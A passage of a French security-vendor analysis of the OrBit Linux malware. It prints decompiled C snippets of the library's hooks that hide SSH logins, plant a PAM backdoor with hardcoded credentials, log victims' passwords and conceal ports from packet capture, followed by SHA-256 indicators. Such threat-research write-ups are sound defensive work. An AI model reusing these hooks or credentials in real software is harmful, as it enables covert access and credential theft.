fonction\u00a0<strong><code>open<\/code><\/strong>, la librairie cr\u00e9\u00e9e un fichier temporaire. \u00c0 l'int\u00e9rieur de ce fichier, le contenu du fichier original est copi\u00e9 ligne par ligne en excluant celles contenant des informations sur une activit\u00e9 suspecte.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350893\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Le fichier <code><em>\/var\/log\/lastlog<\/em><\/code>\u00a0qui contient la liste des utilisateurs s'\u00e9tant connect\u00e9 en SSH est aussi cibl\u00e9e par la librairie malveillante.<\/p>\n<p>Afin d'\u00e9viter que les connexions de l'attaquant ne soient r\u00e9pertori\u00e9es, la librairie renvoie un descripteur de fichier sur<em> <code>\/dev\/null<\/code><\/em>\u00a0ce qui a pour cons\u00e9quence d'\u00e9crire les logs dans le vide.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>open() - Dissimulation des connexions SSH suspectes<\/strong>\r\nif ( syscall(104) == 920366 ) \/\/ getgid()\r\n{\r\n \u00a0\u00a0\u00a0len = 4;\r\n \u00a0\u00a0\u00a0for\u00a0( k = 0; k &lt; len; ++k )\r\n \u00a0\u00a0\u00a0\u00a0\u00a0sshd[k] = obfuscated_string[k] ^ 0xA2;\r\n \u00a0\u00a0\u00a0sshd[len] = 0;\r\n \u00a0\u00a0\u00a0if\u00a0( !<strong>strcmp<\/strong>(_progname, sshd) )\r\n \u00a0\u00a0\u00a0{\r\n \u00a0\u00a0\u00a0\u00a0\u00a0len = 7;\r\n \u00a0\u00a0\u00a0\u00a0\u00a0for\u00a0( m = 0; m &lt; len; ++m )\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0lastlog[m] = obfsucated_string_2[m] ^ 0xA2;\r\n \u00a0\u00a0\u00a0\u00a0\u00a0lastlog[len] = 0;\r\n \u00a0\u00a0\u00a0\u00a0\u00a0if\u00a0(\u00a0<strong>strstr<\/strong>(filename, lastlog) )\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0haystack =\u00a0\"\/dev\/null\";\r\n \u00a0\u00a0\u00a0}\r\n \u00a0}\r\n\/* ... *\/\r\nreturn syscall(2, haystack, mode, flags);<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Porte d\u00e9rob\u00e9e<\/h3>\n<p>Pour permettre \u00e0 un attaquant de r\u00e9cup\u00e9rer un acc\u00e8s \u00e0 la machine infect\u00e9e, la librairie r\u00e9\u00e9crit plusieurs fonctions de la librairies\u00a0<strong>PAM<\/strong>\u00a0qui sert \u00e0 centraliser et configurer les authentifications pour diff\u00e9rents programmes (<strong><em>sudo<\/em><\/strong>,\u00a0<strong><em>sshd<\/em><\/strong>,\u00a0<strong><em>cron<\/em><\/strong>, etc).<\/p>\n<p>La fonction <strong><code>pam_authenticate<\/code><\/strong>\u00a0est utilis\u00e9e pour authentifier un utilisateur \u00e0 un service, elle est charg\u00e9e de r\u00e9cup\u00e9rer le nom d'utilisateur et le mot de passe.<\/p>\n<p>Dans l'impl\u00e9mentation de la librairie, son r\u00f4le est aussi de permettre \u00e0 un attaquant de se connecter avec un identifiant (\"<code><em><strong>2l8<\/strong><\/em><\/code>\").<\/p>\n<p>Dans le cas o\u00f9 ce nom d'utilisateur est rentr\u00e9, le port impliqu\u00e9 dans la connexion est ajout\u00e9 au fichier\u00a0<em>.ports<\/em>\u00a0et l'identifiant de groupe pour l'utilisateur se voit attribu\u00e9 la valeur\u00a0de <strong><em>920366<\/em><\/strong>.<\/p>\n<p>Le mot de passe quant \u00e0 lui est v\u00e9rifi\u00e9 par la fonction\u00a0<strong><code>pam_get_password<\/code><\/strong>, qui renverra une valeur de r\u00e9ussite si le mot de passe envoy\u00e9 est (\"<strong><code>c4ss0ul3tt3&lt;\/<\/code><\/strong>\").[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>pam_get_password() - Mot de passe en dur<\/strong>\u00a0\r\nlen = 3;\r\nfor (i = 0; i &lt; len; ++i) {\r\n \u00a0\u00a0\u00a0password_2l8[i] = obfuscated_string[i] ^ 0xA2;\r\npassword_2l8[len] = 0;\r\nif (!<strong>strcmp<\/strong>(username, password_2l8)) {\r\n \u00a0\u00a0\u00a0\/* ... *\/\r\n \u00a0\u00a0\u00a0len = 25;\r\n \u00a0\u00a0\u00a0for\u00a0(j = 0; j &lt; len; ++j)\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ports_filename[j] = obfuscated_string_2[j] ^ 0xA2;\r\n \u00a0\u00a0\u00a0ports_filename[len] = 0;\r\n \u00a0\u00a0\u00a0fd = syscall(2, ports_filename, 1090, 420);\u00a0\/\/ open()\r\n \u00a0\u00a0\u00a0\/* ... *\/\r\n \u00a0\u00a0\u00a0syscall(1, fd, port_to_hide, len_port_to_hide);\u00a0\/\/ write()\r\n \u00a0\u00a0\u00a0syscall(3, fd);\u00a0\/\/ close()\r\n \u00a0\u00a0\u00a0syscall(106, 920366);\u00a0\/\/ set_gid()\r\n \u00a0\u00a0\u00a0if\u00a0(pam_get_password(...))\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\u00a0(0);\u00a0\/\/ Authentication done\r\n \u00a0\u00a0\u00a0else\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\u00a0(6);\u00a0\/\/ Authentication failed\r\n}<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]\u00c0 l'inverse, si un utilisateur lambda se connecte, et que le fichier\u00a0<strong><code>.logpam<\/code><\/strong>\u00a0existe, la fonction originale est appel\u00e9e. En cas de r\u00e9ussite, la fonction\u00a0<strong><code>pam_log_password<\/code><\/strong> inscrit le nom d'utilisateur et le mot de passe dans le fichier <code><em>sshpass.txt<\/em><\/code><em>.<\/em><\/p>\n<h3>Modification des trames r\u00e9seaux<\/h3>\n<p>Pour \u00e9viter que les connexions\u00a0<strong>SSH<\/strong>\u00a0de l'attaquant ou d'autres activit\u00e9s sur le r\u00e9seau ne soient d\u00e9tect\u00e9es,\u00a0<strong><code>bind<\/code><\/strong>\u00a0et\u00a0<strong><code>connect<\/code><\/strong>\u00a0ainsi que quelques fonctions de la librairie\u00a0<strong><code>pcap<\/code><\/strong>\u00a0sont r\u00e9impl\u00e9ment\u00e9es par le malware.<\/p>\n<h4>bind \/ connect<\/h4>\n<p>La fonction bind est utilis\u00e9e pour assigner un socket \u00e0 une adresse IP et un port, cette fonction est n\u00e9cessaire lorsqu'un programme souhaite prendre le r\u00f4le de serveur pour pouvoir accepter de nouvelle connexion entrantes.<\/p>\n<p>Si <strong><code>bind<\/code><\/strong>\u00a0ou <strong><code>connect<\/code><\/strong>\u00a0sont appel\u00e9es par un programme lanc\u00e9 par l'utilisateur malveillant, le port utilis\u00e9 est inscrit dans le fichier\u00a0<em><code>.ports<\/code> <\/em>pr\u00e9c\u00e9demment cr\u00e9\u00e9 par le dropper.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>bind() - R\u00e9cup\u00e9ration du port impliqu\u00e9 dans la connexion de l'attaquant<\/strong>\u00a0\r\nif ( syscall(104) == 920366 ) \/\/ getgid()\r\n{\r\n \u00a0\u00a0\u00a0port = htons(serv_addr-&gt;sin_port);\r\n \u00a0\u00a0\u00a0len = 25;\r\n \u00a0\u00a0\u00a0for\u00a0( i = 0; len &gt; i; ++i )\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ports_file[i] = obfuscated_string[i] ^ 0xA2;\r\n \u00a0\u00a0\u00a0ports_file[len] = 0;\r\n \u00a0\u00a0\u00a0fd = syscall(2, ports_file, 1090, 420);\u00a0\/\/ open\r\n \u00a0\u00a0\u00a0len_buffer =\u00a0<strong>sprintf<\/strong>(buffer,\u00a0\"%d\\n\", port);\r\n \u00a0\u00a0\u00a0syscall(1, fd, buffer, len_buffer);\u00a0\/\/ write()\r\n \u00a0\u00a0\u00a0fsync(fd);\r\n \u00a0\u00a0\u00a0syscall(3, fd);\u00a0\/\/ close()\r\n}<\/pre>\n<p>[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>libpcap<\/h4>\n<p>La librairie pcap est utilis\u00e9e sur des syst\u00e8mes Unix pour capturer des paquets sur une interface r\u00e9seau, elle est notamment utilis\u00e9e dans des outils comme\u00a0<strong><em>wireshark<\/em><\/strong>,\u00a0<strong><em>tcpdump<\/em><\/strong>,\u00a0<strong><em>nmap<\/em><\/strong>, etc. L'objectif du malware est de faire dispara\u00eetre les paquets contenant des ports issus de connexions suspectes.<\/p>\n<p>La fonction <strong><code>pcap_loop<\/code><\/strong> permet de commencer la capture de paquet sur une interface et prend en argument une fonction, cette derni\u00e8re sera appel\u00e9e \u00e0 chaque fois qu'un paquet est intercept\u00e9.<\/p>\n<p>Dans sa propre impl\u00e9mentation, la librairie sauvegarde la fonction pass\u00e9e en argument dans la variable globale <code><strong>orig_callback<\/strong><\/code>\u00a0et appelle <strong><code>pcap_loop<\/code><\/strong> avec une autre fonction : <strong><code>pcap_packet_callback<\/code><\/strong>.<\/p>\n<p>Le header de chaque paquet captur\u00e9 est analys\u00e9 pour d\u00e9terminer le protocole (TCP ou UDP). Dans les deux cas, une fonction est appel\u00e9e pour v\u00e9rifier si les ports impliqu\u00e9s se retrouvent dans les fichiers <em><code>.ports<\/code><\/em> ou <code><em>.udp<\/em><\/code><em>.<\/em><\/p>\n<p>Si aucun port suspect n'est trouv\u00e9, la fonction de callback originale est appel\u00e9e.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350898\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>execve<\/h3>\n<p>La fonction <code><strong>execve<\/strong><\/code>\u00a0a pour but de camoufler encore plus le malware aux yeux d'un utilisateur lambda en retirant de certaines commandes un contenu sp\u00e9cifique ou pr\u00e9sent dans des fichiers de configuration :<\/p>\n<ul>\n<li><strong><em>dmesg <\/em><\/strong>est amput\u00e9e des lignes contenant <code><em><strong>promiscuous<\/strong><\/em><\/code>,\u00a0<code><em><strong>zapping<\/strong><\/em><\/code>,\u00a0<code><em><strong>tcpdump<\/strong><\/em><\/code>,\u00a0<code><em><strong>libntpVnQE6mk<\/strong><\/em><\/code>\u00a0et\u00a0<code><em><strong>libdl.so<\/strong><\/em><\/code>, ainsi que le contenu du fichier<em> <code>\/lib\/ibntpVnQE6mk\/.sys\/.dmesg<\/code><\/em>.<\/li>\n<li><strong>strace <\/strong>se voit retirer les lignes avec <code><em><strong>.l<\/strong><\/em><\/code>,\u00a0<code><em><strong>920366<\/strong><\/em><\/code>\u00a0et\u00a0<code><em><strong>libntpVnQE6mk<\/strong><\/em><\/code><strong>. <\/strong>De plus, si l'option\u00a0<strong><em>-o<\/em><\/strong> est utilis\u00e9e, la sortie sera redirig\u00e9e vers <code><em>\/tmp\/.orbit<\/em><\/code><em>.<\/em><\/li>\n<li><strong><em>ip<\/em><\/strong>et\u00a0<strong><em>iptables<\/em><\/strong> ont leur sortie compar\u00e9e avec le contenu des fichiers<em><code>\/lib\/libntpVnQE6mk\/.net<\/code><\/em>\u00a0et\u00a0<code><em>\/lib\/libntpVnQE6mk\/.fw<\/em><\/code>, les lignes sont aussi retir\u00e9es en cas de match.<\/li>\n<\/ul>\n<p>Si la variable\u00a0<strong>LD_TRACE_LOADED_OBJECTS\u00a0<\/strong>est pr\u00e9sente dans l'environnement de l'utilisateur lan\u00e7ant un programme, la liste des librairies dynamiques utilis\u00e9es est affich\u00e9e \u00e0 l'\u00e9cran.<\/p>\n<p>Pour rester cacher, le malware modifie le linker pour utiliser le backup pr\u00e9sent dans son dossier.<\/p>\n<p>Pour finir, si le fichier <code><em>\/lib\/libntpVnQE6mk\/.nolog<\/em><\/code>\u00a0est pr\u00e9sent, chaque commande ex\u00e9cut\u00e9 sera \u00e9crite dans le fichier <em><code>\/lib\/libntpVnQE6mk\/execlog<\/code><\/em>.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h2>IoC OrBit<\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\"][vc_column][vc_empty_space]<div class=\"qode-advanced-pricing-table\">\n\t<div class=\"qode-apt-header qode-apt-row\">\n\t\t<div class=\"qode-apt-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\t\t\t\t<\/h5>\n\t\t<\/div>\n\t\t<div class=\"qode-apt-column-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\tSHA-256\t\t\t<\/h5>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tdropper\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tlibdl.so\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.boot.sh\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.profile\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$025e776c51b23e83fe4b400c527902d59dffa65cb35b4a163298790b1990b49c\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tescalator\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$d316e896ed4c9a737b2964e5aceaf25751383db13bd9cdcb346bb893eff7fc47\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\t.l\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$fbe72ad884c4bf7b874794c0d6fe99054cf06c9d23ac004be3a36142bbcaa728\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<\/div>[vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h2>Les protections Stormshield face \u00e0 OrBit<\/h2>\n<p>Avec la solution Stormshield Network Security, d\u00e9di\u00e9e \u00e0 la protection des r\u00e9seaux, le dropper et la librairie OrBit sont d\u00e9tect\u00e9s et bloqu\u00e9s gr\u00e2ce au moteur antiviral embarqu\u00e9, mais \u00e9galement via l'option de d\u00e9tonation dans le cloud Breach Fighter.[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row css_animation=\u00a0\u00bb\u00a0\u00bb row_type=\u00a0\u00bbrow\u00a0\u00bb use_row_as_full_screen_section=\u00a0\u00bbno\u00a0\u00bb type=\u00a0\u00bbfull_width\u00a0\u00bb angled_section=\u00a0\u00bbno\u00a0\u00bb text_align=\u00a0\u00bbleft\u00a0\u00bb background_image_as_pattern=\u00a0\u00bbwithout_pattern\u00a0\u00bb][vc_column][vc_column_text]OrBit est un two-stage malware apparu \u00e0 l\u2019\u00e9t\u00e9 2022, d\u00e9couvert par Intezer. Faisant office de stealer et de backdoor uniquement \u00e0 destination des syst\u00e8mes Linux 64 bits, il se compose d\u2019un ex\u00e9cutable faisant office de dropper et d\u2019une&#8230;<\/p>\n","protected":false},"author":76,"featured_media":354523,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[7065],"tags":[4368],"business_size":[],"industry":[],"help_mefind":[],"features":[],"type_security":[],"maintenance":[],"offer":[],"administration_tools":[],"cloud_offers":[],"listing_product":[1595,1565,1530],"class_list":["post-350831","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-technical-posts-fr","tag-la-cybersecurite-par-stormshield","listing_product-breach-fighter-fr","listing_product-ses-fr","listing_product-sns-fr"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Malware OrBit : analyse d\u2019une menace pour Linux | Stormshield<\/title>\n<meta name=\"description\" content=\"Stealer, backdoor, ex\u00e9cutable, dropper et librairie : une analyse compl\u00e8te du malware OrBit avec l&#039;\u00e9quipe CTI de Stormshield.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Malware OrBit : analyse d\u2019une menace pour Linux | Stormshield\" \/>\n<meta property=\"og:description\" content=\"Stealer, backdoor, ex\u00e9cutable, dropper et librairie : une analyse compl\u00e8te du malware OrBit avec l&#039;\u00e9quipe CTI de Stormshield.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/\" \/>\n<meta property=\"og:site_name\" content=\"Stormshield\" \/>\n<meta property=\"article:published_time\" content=\"2023-01-02T14:36:41+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-01-30T14:43:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.stormshield.com\/wp-content\/uploads\/shutterstock-266369672.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1000\" \/>\n\t<meta property=\"og:image:height\" content=\"667\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Louis Deschanel\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Stormshield\" \/>\n<meta name=\"twitter:site\" content=\"@Stormshield\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Louis Deschanel\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/\"},\"author\":{\"name\":\"Louis Deschanel\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/#\\\/schema\\\/person\\\/8995a616d4f3abe73b461cc7182283fd\"},\"headline\":\"OrBit : analyse avanc\u00e9e d\u2019un malware d\u00e9di\u00e9 \u00e0 Linux\",\"datePublished\":\"2023-01-02T14:36:41+00:00\",\"dateModified\":\"2024-01-30T14:43:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/\"},\"wordCount\":7405,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.stormshield.com\\\/wp-content\\\/uploads\\\/shutterstock-266369672.jpg\",\"keywords\":[\"La cybers\u00e9curit\u00e9 - par Stormshield\"],\"articleSection\":[\"Billets techniques\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/\",\"url\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/\",\"name\":\"Malware OrBit : analyse d\u2019une menace pour Linux | Stormshield\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.stormshield.com\\\/wp-content\\\/uploads\\\/shutterstock-266369672.jpg\",\"datePublished\":\"2023-01-02T14:36:41+00:00\",\"dateModified\":\"2024-01-30T14:43:07+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/#\\\/schema\\\/person\\\/8995a616d4f3abe73b461cc7182283fd\"},\"description\":\"Stealer, backdoor, ex\u00e9cutable, dropper et librairie : une analyse compl\u00e8te du malware OrBit avec l'\u00e9quipe CTI de Stormshield.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.stormshield.com\\\/wp-content\\\/uploads\\\/shutterstock-266369672.jpg\",\"contentUrl\":\"https:\\\/\\\/www.stormshield.com\\\/wp-content\\\/uploads\\\/shutterstock-266369672.jpg\",\"width\":1000,\"height\":667},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/actus\\\/orbit-analyse-malware-linux\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"OrBit : analyse avanc\u00e9e d\u2019un malware d\u00e9di\u00e9 \u00e0 Linux\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/#website\",\"url\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/\",\"name\":\"Stormshield\",\"description\":\"Stormshield\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.stormshield.com\\\/fr\\\/#\\\/schema\\\/person\\\/8995a616d4f3abe73b461cc7182283fd\",\"name\":\"Louis Deschanel\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/79b53d58616d041da3ef60566c5b24b84c9bdf79d7eaf4203266a21d68808563?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/79b53d58616d041da3ef60566c5b24b84c9bdf79d7eaf4203266a21d68808563?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/79b53d58616d041da3ef60566c5b24b84c9bdf79d7eaf4203266a21d68808563?s=96&d=mm&r=g\",\"caption\":\"Louis Deschanel\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Malware OrBit : analyse d\u2019une menace pour Linux | Stormshield","description":"Stealer, backdoor, ex\u00e9cutable, dropper et librairie : une analyse compl\u00e8te du malware OrBit avec l'\u00e9quipe CTI de Stormshield.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/","og_locale":"fr_FR","og_type":"article","og_title":"Malware OrBit : analyse d\u2019une menace pour Linux | Stormshield","og_description":"Stealer, backdoor, ex\u00e9cutable, dropper et librairie : une analyse compl\u00e8te du malware OrBit avec l'\u00e9quipe CTI de Stormshield.","og_url":"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/","og_site_name":"Stormshield","article_published_time":"2023-01-02T14:36:41+00:00","article_modified_time":"2024-01-30T14:43:07+00:00","og_image":[{"width":1000,"height":667,"url":"https:\/\/www.stormshield.com\/wp-content\/uploads\/shutterstock-266369672.jpg","type":"image\/jpeg"}],"author":"Louis Deschanel","twitter_card":"summary_large_image","twitter_creator":"@Stormshield","twitter_site":"@Stormshield","twitter_misc":{"\u00c9crit par":"Louis Deschanel","Dur\u00e9e de lecture estim\u00e9e":"17 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/#article","isPartOf":{"@id":"https:\/\/www.stormshield.com\/fr\/actus\/orbit-analyse-malware-linux\/"},"author":{"name":"Louis Deschanel","@id":"https:\/\/www.stormshield.com\/fr\/#\/schema\/person\/8995a616d4f3abe73b461cc7182283fd"},"headline":"OrBit : analyse avanc\u00e9e d\u2019un malware d\u00e9di\u00e9 \u00e0 